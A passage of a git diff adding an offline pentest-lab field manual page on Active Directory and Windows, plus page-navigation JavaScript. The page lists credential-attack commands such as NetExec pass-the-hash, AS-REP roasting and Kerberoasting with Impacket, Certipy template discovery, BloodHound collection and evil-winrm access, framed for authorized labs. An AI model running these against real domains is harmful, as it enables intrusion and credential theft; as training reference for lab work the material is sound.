+ chmod 700 "$PE_DATA_DIR" "$PE_STATE_DIR" "$PE_BACKUP_DIR" \
+ "$PE_WORKROOT" "$PE_VPN_DIR" 2>/dev/null || true
+}voidwalker/integrations/assets/pentest-env/config/guide/ad-windows.html
new file mode 100644
@@ -0,0 +1,21 @@
+<!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="color-scheme" content="light"><meta name="theme-color" content="#faf4ed"><meta name="description" content="Active Directory and Windows lab cheatsheet."><title>Voidwalker Field Manual // AD + Windows</title><link rel="stylesheet" href="assets/style.css?v=2"><script src="assets/app.js?v=2" defer></script></head><body><a class="skip-link" href="#content">Skip to content</a><header class="site-header"><div class="header-inner"><a class="brand" href="index.html"><span class="brand-mark" aria-hidden="true">V</span><span>Voidwalker<small>offline field manual</small></span></a><button class="nav-toggle" type="button" aria-expanded="false" aria-controls="site-nav">menu</button><nav class="site-nav" id="site-nav" aria-label="Handbook"><a href="index.html">Setup</a><a href="tmux.html">tmux</a><a href="pe.html">pe</a><a href="htb-workflow.html">HTB</a><a href="zsh-terminal.html">Shell</a><a href="recon.html">Recon</a><a href="web.html">Web</a><a href="ad-windows.html">AD</a><a href="privesc.html">PrivEsc</a><a href="transfer.html">Transfer</a><a href="toolbox.html">Tools</a></nav></div></header><div class="page-shell"><main id="content"><section class="hero"><p class="eyebrow">Module 07 // identity surface</p><h1>AD + <span class="accent">Windows.</span></h1><p class="lede">Make DNS, time and identity explicit before SMB, LDAP or Kerberos work. Keep NetExec artifacts private and validate every credential against scope.</p><div class="hero-meta"><span class="tag">NetExec</span><span class="tag">Impacket</span><span class="tag">Certipy</span><span class="tag">BloodHound</span></div></section><div class="notice"><div><strong>Authorized labs only.</strong> Verify scope, target and route before testing. Treat credentials and collected files as sensitive lab data.</div></div><div class="search-box"><label for="page-search">Filter this page</label><input id="page-search" data-page-search type="search" placeholder="Type a tool, command or topicβ¦" autocomplete="off"><span class="search-hint"><kbd>/</kbd> focus Β· <kbd>Esc</kbd> clear</span></div><p class="filter-summary" data-filter-summary aria-live="polite"></p>
+<section id="foundation" data-search-item data-search="DNS time domain controller kerberos hosts clock foundation"><h2>Foundation first</h2><pre><code>pe status
+pe vpn route "$IP"
+dig @DC_IP lab.htb
+timedatectl status</code></pre><p>Kerberos depends on correct names and close clock alignment. Record the domain, DC FQDN, DC IP and discovered realm. Add only confirmed lab names to local resolution.</p></section>
+<section id="smb" data-search-item data-search="SMB smbclient shares NetExec nxc password hash users"><h2>SMB and authentication</h2><pre><code>smbclient -N -L "//$IP"
+nxc smb "$IP" -u USER -p 'PASSWORD'
+nxc smb "$IP" -u USER -H NTLM_HASH --shares</code></pre><p>The Zsh <code>nxc</code>/<code>netexec</code> wrapper sets <code>umask 077</code>. Start secret-bearing commands with a literal space. Never spray accounts unless the lab explicitly allows it and you understand lockout policy.</p></section>
+<section id="ldap" data-search-item data-search="LDAP ldapsearch naming context domain users groups anonymous"><h2>LDAP</h2><pre><code>ldapsearch -x -H "ldap://$IP" -s base namingContexts
+
+ldapsearch -x -H "ldap://DC_IP" -D 'LAB\USER' -W \
+ -b 'DC=lab,DC=htb' '(objectClass=user)' sAMAccountName</code></pre><p>Use <code>-W</code> to prompt rather than placing a password in argv. Narrow attributes and filters to keep output reviewable.</p></section>
+<section id="kerberos" data-search-item data-search="Kerberos impacket GetNPUsers GetUserSPNs realm tickets ccache"><h2>Kerberos checks</h2><pre><code>impacket-GetNPUsers 'lab.htb/' -dc-ip DC_IP -usersfile users.txt -no-pass
+impacket-GetUserSPNs 'lab.htb/USER' -dc-ip DC_IP -request</code></pre><p>Run only against the lab domain. Protect hashes, tickets and <code>ccache</code> files with mode <code>600</code>, and remove them when the exercise ends.</p></section>
+<section id="certs" data-search-item data-search="AD CS Certipy certificate authorities find vulnerable"><h2>AD CS inventory</h2><pre><code> certipy find -u 'USER@lab.htb' -p 'PASSWORD' \
+ -dc-ip DC_IP -enabled -stdout</code></pre><p>Treat βvulnerableβ template output as a hypothesis. Read the template permissions and enrollment conditions, then follow the lab objective and rules.</p></section>
+<section id="graph" data-search-item data-search="BloodHound collection graph bloodhound-python bofhound JSON cleanup"><h2>Relationship mapping</h2><pre><code> bloodhound-python -u USER -p 'PASSWORD' -d lab.htb \
+ -ns DC_IP -c DCOnly --zip</code></pre><p>BloodHound ZIP/JSON contains sensitive identity topology. Store it under the private target <code>loot/</code> directory, import locally, and never publish it with the repository.</p></section>
+<section id="remote" data-search-item data-search="WinRM evil-winrm RDP SSH remote access credentials"><h2>Authorized remote access</h2><pre><code> evil-winrm -i "$IP" -u USER -p 'PASSWORD'
+ssh USER@"$IP"</code></pre><p>Use the least invasive protocol already exposed by the lab. Record which credential worked with <code>pe cred valid ID 1</code> rather than repeatedly testing it.</p></section><p class="empty-state" data-empty-state hidden>No entry matches. Press <kbd>Esc</kbd> to reset.</p><nav class="page-nav" aria-label="Adjacent pages"><a href="web.html">β Web testing</a><a href="privesc.html">Privilege escalation β</a></nav></main><aside class="toc" aria-label="On this page"><strong>On this page</strong><ul><li><a href="#foundation">Foundation</a></li><li><a href="#smb">SMB</a></li><li><a href="#ldap">LDAP</a></li><li><a href="#kerberos">Kerberos</a></li><li><a href="#certs">AD CS</a></li><li><a href="#graph">BloodHound</a></li><li><a href="#remote">Remote access</a></li></ul></aside></div><footer class="site-footer"><strong>VOIDWALKER // AD + WINDOWS</strong><br>Rose Pine Dawn Β· offline Β· authorized lab use</footer></body></html>
+voidwalker/integrations/assets/pentest-env/config/guide/assets/app.js
new file mode 100644
@@ -0,0 +1,110 @@
+(function () {
+ "use strict";
+
+ const nav = document.querySelector(".site-nav");
+ const navToggle = document.querySelector(".nav-toggle");
+
+ if (nav && navToggle) {
+ navToggle.addEventListener("click", function () {
+ const open = nav.dataset.open !== "true";
+ nav.dataset.open = String(open);
+ navToggle.setAttribute("aria-expanded", String(open));
+ });
+
+ nav.addEventListener("click", function (event) {
+ if (event.target.closest("a")) {
+ nav.dataset.open = "false";
+ navToggle.setAttribute("aria-expanded", "false");
+ }
+ });
+ }
+
+ const path = window.location.pathname.split("/").pop() || "index.html";
+ document.querySelectorAll(".site-nav a").forEach(function (link) {
+ if (link.getAttribute("href") === path) {
+ link.setAttribute("aria-current", "page");
+ }
+ });
+
+ const search = document.querySelector("[data-page-search]");
+ const items = Array.from(document.querySelectorAll("[data-search-item]"));
+ const summary = document.querySelector("[data-filter-summary]");
+ const empty = document.querySelector("[data-empty-state]");78 more lines not shown.
The rest of this commit (75 files) is not shown here; a clone has all of it.